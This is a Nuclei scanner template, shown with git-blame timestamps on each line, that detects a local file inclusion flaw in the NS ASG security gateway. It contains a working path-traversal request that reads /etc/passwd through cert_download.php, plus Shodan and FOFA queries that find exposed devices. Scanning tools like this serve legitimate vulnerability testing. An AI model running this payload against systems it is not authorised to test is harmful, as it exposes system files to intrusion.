2021-06-01 08:39:01 +00:00
|
|
|
id: nsasg-arbitrary-file-read
|
2021-05-31 08:56:01 +00:00
|
|
|
|
|
|
|
info:
|
2022-08-05 13:57:51 +00:00
|
|
|
name: NS ASG - Local File Inclusion
|
2022-04-07 08:54:10 +00:00
|
|
|
author: pikpikcu,ritikchaddha
|
2021-05-31 08:56:01 +00:00
|
|
|
severity: high
|
2022-08-05 13:57:51 +00:00
|
|
|
description: NS ASG is vulnerable to local file inclusion.
|
2022-04-07 08:53:54 +00:00
|
|
|
reference:
|
|
|
|
- https://zhuanlan.zhihu.com/p/368054963
|
|
|
|
- http://wiki.xypbk.com/Web安全/网康%20NS-ASG安全网关/网康%20NS-ASG安全网关%20任意文件读取漏洞.md
|
2022-08-05 13:57:51 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
|
|
cvss-score: 7.5
|
|
|
|
cwe-id: CWE-22
|
2023-10-14 11:27:55 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 2
|
|
|
|
shodan-query: http.title:“NS-ASG”
|
|
|
|
fofa-query: app="网康科技-NS-ASG安全网关"
|
2021-06-01 08:39:01 +00:00
|
|
|
tags: nsasg,lfi
|
2021-05-31 08:56:01 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-05-31 08:56:01 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/admin/cert_download.php?file=pqpqpqpq.txt&certfile=../../../../../../../../etc/passwd"
|
2022-04-07 08:44:15 +00:00
|
|
|
- "{{BaseURL}}/admin/cert_download.php?file=pqpqpqpq.txt&certfile=cert_download.php"
|
2021-05-31 08:56:01 +00:00
|
|
|
|
2022-04-07 08:53:54 +00:00
|
|
|
stop-at-first-match: true
|
2023-10-14 11:27:55 +00:00
|
|
|
|
2022-04-07 08:53:54 +00:00
|
|
|
matchers-condition: or
|
2021-05-31 08:56:01 +00:00
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
regex:
|
2022-03-22 08:01:31 +00:00
|
|
|
- "root:.*:0:0:"
|
2022-04-07 09:01:10 +00:00
|
|
|
|
2022-04-07 08:44:15 +00:00
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- "$certfile"
|
|
|
|
- "application/pdf"
|
2022-04-07 08:53:54 +00:00
|
|
|
condition: and
|
2023-10-20 11:41:13 +00:00
|
|
|
|
|
|
|
# digest: 4b0a00483046022100a01fc54d45796c4a7bafec223183d9589afb104ad2832cdf2f0424194452136d022100f9d033d7de267f8dccc832e287dc63b2c267c893a08bc3675f4636b13a37b684:922c64590222798bb761d5b6d8e72950
|